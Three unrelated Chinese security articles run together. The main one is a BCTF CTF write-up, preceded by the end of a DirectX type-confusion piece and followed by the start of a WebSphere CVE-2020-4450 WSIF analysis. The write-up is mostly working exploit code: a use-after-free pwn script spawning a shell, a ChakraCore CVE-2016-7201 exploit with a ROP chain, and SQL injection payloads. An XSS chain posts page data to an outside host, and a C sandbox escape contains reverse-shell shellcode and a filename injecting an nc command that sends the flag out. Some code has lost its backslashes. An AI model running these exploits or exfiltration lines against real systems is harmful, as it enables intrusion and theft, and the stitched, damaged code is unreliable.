前面提到上面这个漏洞是fuzz出来的，附带的还有几个漏洞，感兴趣的朋友可以看看参考链接里面ZDI的分析文章，如果肉眼审计的话肯定是很难关注到这个点的，一般这种fuzz出来都是越界读写导致的crash，需要开启特殊池，对于没有crash的类型感觉还是很难fuzz出来的。
对于审计而言我认为主要关注点还是应该在创建对象的地方，上半部分C++类型混淆的paper中也讲到了他们是如何对类型混淆进行检查的，他们强制对所有对象运行时进行检查，分析这个对象申请内存的地方，跟踪对象分配类型。也写了一个工具出来，感兴趣的朋友可以用用。
## 参考链接
1. 如果你想了解这个模块的攻击面或者漏洞的详细信息,可以参考湛卢实验室分析文章
<https://github.com/RanchoIce/44Con2018/blob/master/44Con-Gaining%20Remote%20System%20Subverting%20The%20DirectX%20Kernel.pdf>
2. 如果你想了解更多详细的类型混淆原理以及工具的信息,可以参考hexhive团队的文章
<https://nebelwelt.net/files/18SyScan360-presentation.pdf>
3. 如果你还想了解关于上述模块的其他类似的漏洞,可以参考ZDI分析的翻译文章
<https://www.anquanke.com/post/id/167332#h3-4> | 社区文章 |
# 【CTF 攻略】第三届XCTF——北京站BCTF第一名战队Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
****
作者：[Veneno@Nu1L](http://bobao.360.cn/member/contribute?uid=1490911994)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**Misc**
**签到：**
Nc连上去输入token，得到flag。
**foolme**
**关键点1：** 哈希碰撞得到md5值结尾相同的key.使用穷举方法即可。
**关键点2：** 发送满足条件的jpg图片的数据。校验函数是check。
直接修改可以影响diff值的数据即可，即input_x,input_y,input_z的值。不断修改像素值，将diff值调高，但是不可以大于2，并且被识别引擎识别为与原图不同的图片。
**Web**
**signature**
Github搜索源码。很容易搜到源码，下载后进行分析：
很容易看出是CI写的一个Demo站点。
在blog_backup_2014.php中很容易发现：
成功登陆后，在admin页面处发现注入：
发现经过了waf处理…但是出题人给的源码里把waf函数已经抽空，黑盒fuzz后发现貌似只过滤了空格，用括号绕过即可，注入得到最终的表结构，然后发现flag在payment.php中：
读取数据，然后构造signature，post得到最终flag。(忘记截图…
PS：题目注入的时候服务器反应的确有点慢，不如将数据库的结构在源码中有所体现，可能会增加选手的做题快感XD。
**baby sqli**
首先输入admin'#绕过登陆，提示有4个item，一个一个的买，买到d拿到flag：
bctf{8572160a2bc7743ad02b539f74c24917}
**Kitty shop**
题目接着刚才的做，有一个可以下载manual的地方，fuzz发现存在任意文件下载：
Fuzz目录：
得到一个地址/app/encrypt0p@ssword/passwor：
访问<http://baby.bctf.xctf.org.cn/encrypt0p@ssword/password> ：
利用kaiity的任意文件下载拿到client的elf文件。如图sub_401B6A函数中调用了recv函数接受服务器数据，
对recv函数下断分析接收的数据得到如下图所示的内容：
**Paint**
涉及两个知识点，一个curl的拼接访问，一个是127.0.0.1呗过滤之后的绕过，curl可以拼接访问，curl
http://a.com/{a.gif,b.gif},还有就是127.0.0.1被过滤之后的绕过，可以用127.0.0.2绕过。我们首先将一张图片切成2分，中间差距正好应该是flag.php的请求大小。首先在地址那里输入http://127.0.0.2/flag.php获知大小是374字节，之后用我们的脚本切割图片，上传
之后在地址那里输入
[http://127.0.0.2/{uploads/1492269999HkwuqBYX.gif,flag.php,uploads/1492270040evG9tmYw.gif}](http://127.0.0.2/%7Buploads/1492269999HkwuqBYX.gif,flag.php,uploads/1492270040evG9tmYw.gif%7D)
得到新的图片：
访问就是flag
> 后来我发现其实只要切割大小小于374都可以拿到flag，原因不详
file1 = open('a.gif', 'r')
data = file1.read()
i1 = data[:200]
i2 = data[573:]
f1 = open("1.gif", "w")
f1.write(i1)
f1.close()
f2 = open("2.gif", "w")
f2.write(i2)
f2.close()
Only admin
首先是登陆，忘记密码那里，输入用户名admin和随便一个邮箱，查看源码有一个md5，解开就是admin的密码，登陆，发现存在cookie，解开是user的md5，修改成admin的md5，拿到一个github的用户，访问上去，有一个apk，反编译一下，解密就好。有点扯淡的题目，不解释
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class MyTest {
public static void main(String[] args) throws Exception {
SecretKeySpec key = new SecretKeySpec("3742#AES$$JKL:cn".getBytes(), "AES");
Cipher v0 = Cipher.getInstance("AES/ECB/PKCS5Padding");
v0.init(2, key);
byte[] b = null;
b = Base64.getDecoder().decode("+ipteaf41bn/76A25zWVDwgc7x5vOtBFHDrBpg9NSTw=");
System.out.println(new String(v0.doFinal(b)));
}
}
**Alice and Bob**
基于语义的waf,
引入能够打乱语义判断的就可以触发到了
mysql 有 mod 的比较符和函数
想着通过引入两个去打乱语义
payload: 'mod mod(1,1) union select flag from flag#
**Diary**
跟uber的案例差不多：
题目一看就是xss的，认证过程是Oauth，直接那这个网址上面的payload就可以复现，一共三个文件
> http://xss.xxx.cn/attack/albert2.js
> http://xss.xxx.cn/attack/index.html
> http://xss.xxx.cn/attack/login-target.html
<html>
<head>
<!-- CSP策略会阻止访问 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<!-- 退出登录 partners.uber.com，在跳转到login.iber.com的时候触发onerror -->
</head>
<body>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">
<script>
//初始化登录
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = "http://diary.bctf.xctf.org.cn/accounts/login/";
loginImg.onerror = redir;
}
//用我们的code登录
var redir = function() {
// 为了方便测试，code放在url hash中，实际需要动态的获取
var code = "ojtjJdAepHTwIDlGtLtKxTgZudnCdL";
var loginImg2 = document.createElement('img');
loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code='+code;
loginImg2.onerror = function() {
window.location = 'http://diary.bctf.xctf.org.cn/diary/';
}
}
</script>
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
</head>
<body>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();">
<script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script>
<script>
//使用用户login.uber.com的session重新登录
var redir = function() {
window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/';
};
</script>
</body>
</html>
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'http://xss.albertchang.cn/attack/login-target.html');
top.document.body.appendChild(loginIframe);
setTimeout(function() {
//document.cookie = "csrftoken=cQmHtL1l4LyBPq8eg5yp9Sf6JrZrkqdiySkSf36veE13JypisP4YKOyEjKywR96F;domain=*.xctf.org.cn;path=/";
//console.log(document.cookie['csrftoekn']);
//cookie动态获取，本来想着直接写死的，但是没有成功,本层只有一个cookie是csrftoken，直接取出来就好
var token= document.cookie.split('=')[1];
console.log(token);
$.post("http://diary.bctf.xctf.org.cn/survey/",
{rate:'1',suggestion:'albertchang',csrfmiddlewaretoken:token},
function (data){
$.get("http://xss.albertchang.cn/?data="+escape(data));
}
);}
, 9000);
**Crypto**
**Hulk:**
首先测试发现flag应该是38位，因为输入9个字符和10个字符明显多出来一组，所以根据拼接方式可以知道应该是38位
#!/usr/bin/env python
# encoding: utf-8
from zio import *
flag = ''
target = ('202.112.51.217',9999)
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
def get_payload(a, b, c):
return ''.join(chr(ord(a[i]) ^ ord(b[i]) ^ ord(c[i])) for i in xrange(16))
def exp(i, payload):
io = zio(target, timeout=5, print_read = COLORED(NONE, 'red'), print_write = COLORED(NONE, 'green'))
io.read_until('encrypt: 0x')
pay1 = '30' * (48-i)
io.writeline(pay1)
io.read_until('ciphertext')
data = io.read_until('Give')
io.read_until('encrypt: 0x')
ciphertext1 = data[data.find('0x')+2:-5]
data1 = ciphertext1[64:96]
tmp = ('0' * (39 - len(flag + payload)) + flag + payload)[-16:]
pay2 = get_payload(ciphertext1[32:64].decode('hex'), ciphertext1[-32:].decode('hex'), tmp).encode('hex')
io.writeline(pay2)
io.read_until("ciphertext")
r2 = io.read_until("n")
ciphertext12 = r2[r2.find('0x')+2:r2.find('0x')+34]
io.close()
if data1 == ciphertext12:
return 1
else :
return 0
for i in xrange(1, 39):
for pay in dic:
if exp(i, pay):
flag += pay
print flag
break
print flag
**Pwn**
**Babyuse (PWN)**
select之后drop会导致use时uaf，泄露堆上地址和vtable然后伪造vtable可以执行任意代码。
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os, sys
#r = process("./babyuse")
token = '4e4ARInVS102IeYFkmUlBUVjOojxsMKC'
r = remote('202.112.51.247', 3456)
context(log_level='DEBUG')
def ru(delim):
return r.recvuntil(delim)
def rn(c):
return r.recvn(c)
def sn(d):
return r.send(d)
def sl(d):
return r.sendline(d)
def menu():
return ru('Exitn')
def buy(index, length, name):
menu()
sl('1')
ru('add:')
sl(str(index))
ru('name')
sl(str(length))
ru('name:')
sn(name)
return
def select(index):
menu()
sl('2')
ru('gun')
sl(str(index))
return
def list():
menu()
sl('3')
return
def rename(index, length, name):
menu()
sl('4')
ru('rename')
sl(str(index))
ru('name')
sl(str(length))
ru('name:')
sn(name)
return
def use(ops):
menu()
sl('5')
for c in ops:
sl(str(c))
return
def drop(index):
menu()
sl('6')
ru('delete:')
sl(str(index))
return
def main():
#gdb.attach(r)
ru('Token:')
sl(token)
buy(1, 215-8, 'A'*(215-8))
buy(1, 31, 'A'*31)
buy(1, 31, 'A'*31)
buy(1, 31, 'A'*31)
select(2)
drop(2)
rename(3, 15, 'AAAAn')
menu()
sl('5')
ru('Select gun ')
pie = u32(rn(4)) - 0x1d30
log.info('pie = ' + hex(pie))
heap = u32(rn(4))
log.info('heap_leak = ' + hex(heap))
sl('4')
buy(1, 31, 'A'*31)
drop(2)
fake_vtable = heap + 192
rename(1, 63, p32(pie+0x172e).ljust(63, 'A'))
rename(3, 15, p32(fake_vtable) + p32(pie + 0x3fd0) + 'n')
menu()
sl('5')
ru('Select gun ')
addr = u32(rn(4)) - 0x712f0
system = addr + 0x3ada0
binsh = addr + 0x15b82b
info("libc = " + hex(addr))
payload = '1 '.ljust(12)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sl(payload)
r.interactive()
return
if __name__ == '__main__':
main()
**Monkey (PWN)**
mozilla的jsshell，可以在网上找到其源码，阅读发现其中加入了全局对象os，其中有system函数。
Payload：os.system(‘/bin/sh’);
**BOJ (PWN)**
这是个黑盒测试题，经过测试发现可以使用socket系统调用，所以可以获得程序运行结果。首先readdir列目录，看到环境内部如/proc，/sys等目录都没有挂载，猜测程序在chroot
jail中，在/root/发现了scf.so，经过分析发现该so经过LD_PRELOAD加载到当前进程，使用了seccomp阻止了关键syscall，于是用x32
ABI绕过之，通过chdir + chroot的方式绕过chroot jail。
逃出jail后在根目录发现flag但是没有权限读取，在/home目录下发现了sandbox和cr，cr是负责编译与运行程序的类似crontab的程序，在其中存在命令注入漏洞，可以得到flag。
Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/syscall.h>
#define PORT "x7ax69"
#define IPADDR "x65xc8x8ax1f"
unsigned char code[] =
"x48x31xc0x48x31xffx48x31xf6x48x31xd2x4dx31xc0x6a"
"x02x5fx6ax01x5ex6ax06x5ax6ax29x58x0fx05x49x89xc0"
"x48x31xf6x4dx31xd2x41x52xc6x04x24x02x66xc7x44x24"
"x02"PORT"xc7x44x24x04"IPADDR"x48x89xe6x6ax10"
"x5ax41x50x5fx6ax2ax58x0fx05x48x31xf6x6ax03x5ex48"
"xffxcex6ax21x58x0fx05x75xf6x48x31xffx57x57x5ex5a"
"x48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54"
"x5fx6ax3bx58x0fx05";
int main(int argc, char* argv[], char* envp[])
{
struct sockaddr_in sin;
struct stat st;
char buf[100];
off_t l = 0;
int s = socket(2,1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(9999);
sin.sin_addr.s_addr = inet_addr("101.200.138.31");
connect(s, (struct sockaddr*)&sin, sizeof(sin));
dup2(s, 1);
puts("Start");
printf("%d %dn", getuid(), getgid());
chdir("/tmp/");
mkdir(".345", 0777);
if(syscall(SYS_chroot|0x40000000, ".345") < 0) printf("chroot %dn", errno);
int x;for(x=0;x<1000;x++) chdir("..");
if(syscall(SYS_chroot|0x40000000, ".")<0) printf("chroot2 %dn", errno);
/* snprintf(buf,99,"/proc/%d/mem", getppid());
int fd=open(buf, O_RDWR);
if(fd<0) printf("open %dn", errno);
char* b=malloc(0x3000);memset(b, 0x90, 0x3000);
memcpy(b+0x3000-sizeof(code), code, sizeof(code));
lseek(fd, 0x400000, SEEK_SET);
write(fd, b, 0x3000);*/
int fd2 = open("/home/ctf/oj/src/;nc 101.200.138.31 31337 < flag;.c", O_RDWR|O_CREAT);
if(fd2 <0) printf("open %dn", fd2);
puts("Finished");
return 0;
}
**Baby0day**
chakraCore漏洞利用，CVE-2016-7201
Exploit:
// arrrrrrrrrgh, my crappy exploit!!!
function gc()
{
var gc_arr = [];
for(var i=0;i<0x350000;i++) {
gc_arr.push([]);
}
gc_arr = null;
}
var count = 512;
var defrag_arr = new Array(count);
function u32(val)
{
if(val >= 0) return val;
return 0x100000000 + val;
}
function makeqword(lo,hi) {return u32(lo)+ ((u32(hi)) * 0x100000000);}
function makesigned(val) {return (val)|0;}
function hiword(val) {return makesigned((val)/0x100000000);}
function loword(val) {return makesigned((val)&0xffffffff);}
for(var i=0;i<count;i++) {
defrag_arr[i] = new Array(
0x11111111,0x22222222,0x33333333,0x44444444,
0x55555555,0x66666666,0x77777777,0x7fffffff,
0x31337,0x31337,0x31337,0x31337,
0x31337,0x31337,0x31337,0x31337,
);
}
var evilarr = new Array(console.log);
evilarr.length = defrag_arr[0].length;
evilarr.__proto__ = new Proxy({}, {getPrototypeOf:function(){return defrag_arr[count/2];}});
evilarr.__proto__.reverse = Array.prototype.reverse;
evilarr.reverse();
//var seg = evilarr[0];
var vtable = evilarr[6];
var arrtype = evilarr[5];
var uint32arr = new ArrayBuffer(0x10);
//var a = evilarr[8];
var karr = new Array(
0x11111111,0x22222222,0x33333333,0x44444444,
0x55555555,0x66666666,0x77777777,0x7fffffff,
0x31337,0x31337,0x31337,0x31337,
0x31337,0x31337,0x31337,0x31337
);
var karr2 = new Array(
0x11111111,0x22222222,0x33333333,0x44444444,
0x55555555,0x66666666,0x77777777,0x7fffffff,
0x31337,0x31337,0x31337,0x31337,
0x31337,0x31337,0x31337,0x31337
);
karr2["cccc"] = 0x0;
karr2["dddd"] = arrtype;
karr2["eeee"] = 0x5a6b7c8d; // search sig
karr2["ffff"] = 0x13371337;
karr2["gggg"] = 0x13371338;
karr2["hhhh"] = 0x13371339;
karr2["jjjj"] = 0x1337133a;
karr2["kkkk"] = 0x1337133b;
karr2["1xxx"] = 0x1337133c;
karr2["2xxx"] = 0x1337133d;
karr2["3xxx"] = 0x1337133e;
karr2["4xxx"] = 0x1337133f;
karr2["5xxx"] = 0x0;
karr2["6xxx"] = 0x0;
karr2["7xxx"] = 0x0;
karr2["8xxx"] = 0x0;
karr2["9xxx"] = 0x0;
karr2["axxx"] = 0x0;
karr2["bxxx"] = 0x0;
karr2["cxxx"] = 0x0;
var karr3 = new Array(
0x7f7f7f7f,0x22222222,0x33333333,0x44444444,
0x55555555,0x66666666,0x77777777,0x7fffffff,
0x31337,0x31337,0x31337,0x31337,
0x31337,0x31337,0x31337,0x31337
);
var karr4 = new Array(
0x11111111,0x22222222,0x33333333,0x44444444,
0x55555555,0x66666666,0x77777777,0x7fffffff,
0x31337,0x31337,0x31337,0x31337,
0x31337,0x31337,0x31337,0x31337
);
var fdv = new DataView(new ArrayBuffer(8));
var evilarr2 = new Array(console.log);
evilarr2.length = karr.length;
evilarr2.__proto__ = new Proxy({}, {getPrototypeOf:function(){return karr;}});
evilarr2.__proto__.reverse = Array.prototype.reverse;
evilarr2.reverse();
var l = evilarr2[4];
defrag_arr = null;
CollectGarbage(); // not working???
//gc();
var scount2 = 0x10000;
var count2 = 0x100000;
var arrc2 = [];
for(var i=0;i<count2 ;i++) {
arrc2.push([0, 0x12345678, 0x66666666, 0x66666666,
0, 1, 2, 3,
0, 1, 2, 3,
0, 1, 2, 3,
0, 1, 2, 3,
0x66666600, 0x66666601, 0x0, arrtype,
0x66666604, 0x66666605, 0x66666606, 0x66666607,
0x66666608, 0x66666609, 0x6666660a, 0x6666660b,
0x6666660c, 0x6666660d, 0x6666660e, 0x6666660f,
0x66666610, 0x66666611, 0x66666612, 0x66666613,
0x66666614, -2147483646, vtable, arrtype,
0x1234, 0x30005, 0x1234, l,
l, l, arrtype, arrtype,
uint32arr, uint32arr, uint32arr, uint32arr,
//0x66666624, 0x66666625, 0x66666626, 0x66666627,
null, null, null, null,
//0x66666628, 0x66666629, 0x6666662a, 0x6666662b
null, null, null, null
]);
}
/*
pwndbg> dq 0x7ffff15843d0 40
00007ffff15843d0 000100005a6b7c8d 0001000013371337
00007ffff15843e0 0001000013371338 0001000013371339
00007ffff15843f0 000100001337133a 000100001337133b
00007ffff1584400 000100001337133c 000100001337133d
00007ffff1584410 000100001337133e 000100001337133f
00007ffff1584420 0001000000000000 0001000000000000
00007ffff1584430 0001000000000000 0001000000000000
00007ffff1584440 0001000000000000 0001000000000000
00007ffff1584450 0001000000000000 0001000000000000
00007ffff1584460 00007ffff6487800 00007ffff1694f00 <- karr3
00007ffff1584470 0000000000000000 0000000000050005
00007ffff1584480 0000000000000010 00007ffff15844a0
00007ffff1584490 00007ffff15844a0 00007ffff7e489c0
00007ffff15844a0 0000001000000000 0000000000000012
00007ffff15844b0 0000000000000000 222222227f7f7f7f
00007ffff15844c0 4444444433333333 6666666655555555
00007ffff15844d0 7fffffff77777777 0003133700031337
00007ffff15844e0 0003133700031337 0003133700031337
00007ffff15844f0 0003133700031337 8000000280000002
00007ffff1584500 00007ffff6487800 00007ffff1694f00
*/
/* now leak what we need */
var seg = evilarr[0];
var lo_leak = u32(seg[34]);
var hi_leak = u32(seg[35]);
var leak_addr = hi_leak * 0x100000000 + lo_leak;
console.log("leak_addr = 0x" + leak_addr.toString(16));
var chakra_base = leak_addr - 0xc8f800;
console.log("chakra_base = 0x" + chakra_base.toString(16));
var lo_leak = u32(seg[44]);
var hi_leak = u32(seg[45]);
var heap_leak = makeqword(lo_leak, hi_leak);
console.log("heap_leak = 0x" + heap_leak.toString(16));
var clear_zero = chakra_base + 0x5a8db0;
/* fake DataView type */
seg[56] = 56;
seg[57] = 0;
seg[58] = loword(heap_leak);
seg[59] = hiword(heap_leak);
seg[60] = loword(clear_zero);
seg[61] = hiword(clear_zero);
var fake_table = heap_leak + 0x28 - 0x340;
var fake_table_addr = heap_leak + 0x30;
seg[62] = loword(fake_table);
seg[63] = hiword(fake_table);
var faketype = heap_leak + 0x18;
seg[36] = loword(faketype);
seg[37] = hiword(faketype); // fake type
seg[44] = loword(fake_table_addr);
seg[45] = hiword(fake_table_addr); // isDetached bypass
seg[42] = 0x200; // length
seg[48] = loword(chakra_base);
seg[49] = hiword(chakra_base); // addr
//console.log(fdv.getUint32.call(karr3, 0, true));
function setaddr(val64)
{
seg[48] = loword(val64);
seg[49] = hiword(val64);
return;
}
function read64(addr)
{
setaddr(addr);
return makeqword(fdv.getInt32.call(karr3, 0, true), fdv.getUint32.call(karr3, 4, true));
}
function write64(addr, val64)
{
setaddr(addr);
fdv.setInt32.call(karr3, 0, loword(val64), true);
fdv.setInt32.call(karr3, 4, hiword(val64), true);
}
var libc_leak = read64(chakra_base + 0xcc80f0);
console.log("libc_leak = 0x" + libc_leak.toString(16));
var libc_base = libc_leak - 0x83940;
console.log("libc_base = 0x" + libc_base.toString(16));
var environ = read64(libc_base + 0x3c5f38);
console.log("environ = 0x" + environ.toString(16));
var ret_addr = environ - 248;
var system = libc_base + 0x45390;
var poprdi_ret = libc_base + 0x21102;
var bss = libc_base + 0x3c8200;
var exit = libc_base + 0x3a030
//ls -la
//write64(bss, 0x2d20736c);
//write64(bss+4, 0x2020616c);
//./execMe_plz
//5f706c7a
write64(bss, 0x78652f2e);
write64(bss+4,0x654d6365);
write64(bss+8,0x7a6c705f);
console.log("writing rop chain");
write64(ret_addr, poprdi_ret);
write64(ret_addr+8, bss);
write64(ret_addr+16, system);
write64(ret_addr+24, exit);
//write64(0x1, 0x0);
console.log("Done!");
**RE**
**pingpong**
patch so中的sleep函数后，循环调用其中的ping，pong函数1000000次即可，核心代码如下：
handle = dlopen ("/data/local/tmp/libpp.so", RTLD_NOW);
if (!handle)
{
LOGI("open lib error");
fprintf (stderr, "%sn", dlerror());
exit(1);
}
dlerror();
pf1 ping = (pf1)dlsym(handle, "Java_com_geekerchina_pingpongmachine_MainActivity_ping");
pf1 pong = (pf1)dlsym(handle, "Java_com_geekerchina_pingpongmachine_MainActivity_pong");
if ((error = dlerror()) != NULL)
{
LOGI("dlsym lib error");
exit(1);
}
p = 0;
num = 0;
i = 1000000;
while(i>0){
p = ping(env,NULL,p,num);
LOGI("ping: %d",p);
num+=1;
i--;
if(num >=7)
num = 0;
p = pong(env,NULL,p,num);
LOGI("pong: %d",p); // 4500009
num+=1;
if(num >=7)
num = 0;
i--;
LOGI("i:--%d",i);
}
dlclose(handle); | 社区文章 |
**作者：Sp4rr0vv @ 白帽汇安全研究院
核对：r4v3zn @ 白帽汇安全研究院
**
## 环境准备
基于 `ibm installtion mananger` 进行搭建。
8.5.x 版本对应的仓库地址为:
<https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN>
9.0.x 版本对应的仓库地址为:
<https://www.ibm.com/software/repositorymanager/V9WASILAN>
注：需去掉 `PH25074` 补丁，本文基于 9.0.x 版本进行调试。
`WebSphere` 默认情况下，`2809、9100` 是 `IIOP`协议交互的明文端口，分别对应 `CORBA` 的 `bootstrap` 和
`NamingService`；而 `9402、9403` 则为 `iiopssl` 端口，在默认配置情况下访问 `WebSpere` 的
`NamingService` 是会走 `9403` 的SSL 端口，为了聚焦漏洞，我们可以先在 Web 控制台上手动关闭 SSL。
## WSIF 和 WSDL
`WSDL`（`Web` 服务描述语言，`Web Services Description Language`）是为描述 `Web` 服务发布的 `XML`
格式。
一个 `WSDL` 文档通常包含 `8` 个重要的元素，即
`definitions、types、import、message、portType、operation、binding、service` 元素，其中
`service` 元素就定义了各种服务端点，阅读`wsdl`时可以从这个元素开始往上读。
其中 `portType` 元素中的 `operation` 元素定义了一个接口的完整信息，`binding`
则是为访问这个接口规定了一些细节，如可以设定使用的协议，协议可以是 `soap、http、smtp、ftp` 等任何一种传输协议，除此以外还可以绑定
`jms`、`ejb` 及 `local java` 等等，不过都是需要对`binding`和`service`元素做扩展的。
`WSIF` 是 `Web Services Invocation Framework` 的缩写，意为 `Web` 服务调用框架，`WSIF` 是一组基于
`WSDL` 文件的 `API` ，他调用可以用 `WSDL` 文件描述的任何服务，在这里最重点在于扩展了`binding` 和 `service`
元素，使其可以动态调用 `java` 方法和访问 `ejb` 等。
## Demo 到 POC
`CVE-2020-4450` 中的漏洞利用链其中一个要点就是利用其动态调用 `java` 的特性，绕过对调用方法的限制，我们下面参考官网提供的
`sample` 中的案例写个小 `demo`，看下这款框架的功能底层是怎么实现的，以及有什么特点。
利用链中其中一环的限制条件之一是方法中的参数类型、参数数量、参数类型顺序必须要与接口定义的一致，本文我们以 `String`
类型参数为例进行测试，我们写一个带有 `String` 类型的参数接口，来进行跟踪接口是如何被 `WSIF` 移花接木到指定的
`ELProcessor#eval(String expression)`。
`WSDL` 文件如下：
`message` 元素中定义参数，`type` 与接口中的类型需保持一致。
`portType`元素定义 `operation` 子节点其中该子节点中的 `name` 与接口名称。
然后在进行定义 `javabinding` ，规定 `portType` 调用的方式为 `java` 调用。
其中 `java` 命名空间元素是关键要素，其中包含了实际执行方法的类和方法，后面我们将会看到 `WSIF` 如何将
`Hello#asyHell(Sring name);` 接口方法调用变成 `ELProcessor#eval(String)`。
## WSIF 到 eval
通过调用 WSIF 的 API 来访问 `WebService` 很简单，只需四步。
第一步获取工厂：
第二步实例化 `WSIFService`，会往扩展注册中心注册几个拓展元素的解析器，其中 `JavaBindingSerializer` 就是解析
`WSDL` 中 `java` 这个命名空间元素的：
在解析的过程中通过 `unmarshall` 进行解析 `WDSL` 格式
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
Class parentType,
javax.xml.namespace.QName elementType,
org.w3c.dom.Element el,
javax.wsdl.Definition def,
javax.wsdl.extensions.ExtensionRegistry extReg)
throws javax.wsdl.WSDLException {
Trc.entry(this, parentType, elementType, el, def, extReg);
// CHANGE HERE: Use only one temp string ...
javax.wsdl.extensions.ExtensibilityElement returnValue = null;
if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
JavaBinding javaBinding = new JavaBinding();
Trc.exit(javaBinding);
return javaBinding;
} else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
JavaOperation javaOperation = new JavaOperation();
String methodName = DOMUtils.getAttribute(el, "methodName");
//String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
if (methodName != null) {
javaOperation.setMethodName(methodName);
}
String methodType = DOMUtils.getAttribute(el, "methodType");
if (methodType != null) {
javaOperation.setMethodType(methodType);
}
String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
if (parameterOrder != null) {
javaOperation.setParameterOrder(parameterOrder);
}
String returnPart = DOMUtils.getAttribute(el, "returnPart");
if (returnPart != null) {
javaOperation.setReturnPart(returnPart);
}
Trc.exit(javaOperation);
return javaOperation;
} else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
JavaAddress javaAddress = new JavaAddress();
String className = DOMUtils.getAttribute(el, "className");
if (className != null) {
javaAddress.setClassName(className);
}
String classPath = DOMUtils.getAttribute(el, "classPath");
if (classPath != null) {
javaAddress.setClassPath(classPath);
}
String classLoader = DOMUtils.getAttribute(el, "classLoader");
if (classLoader != null) {
javaAddress.setClassLoader(classLoader);
}
Trc.exit(javaAddress);
return javaAddress;
}
Trc.exit(returnValue);
return returnValue;
}
以下为分别对应的类，该类的属性我们都是可以在 `WSDL` 中进行控制的。
`JavaOperation` 类：
`JavaAddress` 类：
下面是简要的调用流程，解析 `xml` 中的元素，将其都转换 `JAVA` 对象，`Definition`
这个类就是由这些对象组成的，然后根据提供的`serviceName`，`portTypeName` 选择 `WSDL` 中相对应的 `service` 和
`portType`，上面说过 `portType` 就是一些定义抽象访问接口的集合。
第三步，获取 `stub` ，先是根据给定的第一个参数 `portName` 找到对应的 `port`，在根据 `port` 找对应的 `binding`
,获取其扩展的 `namespaceURI` 来找 `WSIFProvider` 动态加载 `WSIFPort` 的实现类。
这里的 `binding namespace` 就是 `java`
所以实现类会是由 `WSIFDynamicProvider_Java` 这个工厂生成的 `WSIFPort_Java` 对象
这个类有个叫 `fieldObjectReference` 的字段很关键，后面我们会看到它就是我们在 `WSDL` 中 `<java:address >`
这个元素中指定的`ClassName`的实例对象，也是最终执行方法的对象。
获取 `WSIFPort_Java` 后，接着往下可以看到，会根据提供的接口生成该接口的代理对象
其中 `WSIFClientProxy` 实现了 `InvocationHandler` ，最后对接口中的方法肯定会经过它的 `invoke`
方法处理，下面重点来看下它的`invoke`方法是怎么实现的
先是找 `operation` ，这里的 `method` 参数就是正在调用的方法
遍历我们在初始化 `service` 时选定的 `portType` 中的所有 `operation` ，首先 `operation`
的名字要和正在调用的方法名一致
名字一致后，找参数，先是如果二者的参数都为 `0` 的话，就返回这个 `operation`
了，有参数，判断参数长度，不一致就继续遍历下一个`operation`
如果参数长度一致，就判断类型，如果遇到一个不一致的类型就继续遍历下一个 `operation` 如果完全一致就立刻返回这个 `operation` ，如果
`operation` 中定义的参数类型，是正在调用的方法的参数类型的子类的话也行，但是并没有限制返回值。
选定 `WSDL` 中 `portType` 的这个符合名字和参数条件的 `operation` 后，接着往下，会根据这个 **operation**
的名字、参数名和返回值名由 `WSIFPort` 的实现类创建对应的 `WSIFOperation`
这里我们 `WSIFPort` 是 `WSIFPort_Java`，所以最终的实现类是 `WSIFOperation_Java`
，但是在这之前还会有个判断，就是会根据我们选的 `port`，找到 `bingding`，在遍历 `binding` 里的`operation`
元素，必须要有一个 `operation` 的名字和正在调用的方法名一致，不然就会直接返回，到这里我们看到都是对 `wsdl` 中 `operation`
名以及参数类型的限制而已，下面是 `WSIFPort_Java` 这个类的实例化
跟进断点这行，会看到 `WSIF` 会实例化我们在 `WSDL` 中 `<java:address
className="javax.el.ELProcessor"/>` 这个标签那里指定的`className`，然后返回其所有的方法
接下来，是根据上面所说的，在实例化之前，筛选出的 `wsdl` 的 `binding` 中的那个 `operation`，将其中的 `java`
扩展元素赋值给 `fieldJavaOperationModel` 字段
然后就根据这个对象的 `methodType` 字段，判断是静态方法还是实例化方法,最后执行方法会根据这两个字段做选择
后面是重点，`WSIF` 怎么找真正要执行的方法
然后去 `WSDL` 找参数
简单的说下，我们在下图这里指定了 `parameterOrder` 的情景
`WSIF` 会遍历这个列表中的名字，根据当前选定的 `WSDL` 中的 `operation` 找到对应的 `message` 元素，然后会根据这个
`parameterOrder` 列表中的名字匹配其中的 `part` 元素的名字，也就是参数名，实例化这个元素指定的 `type` 成 `Class`
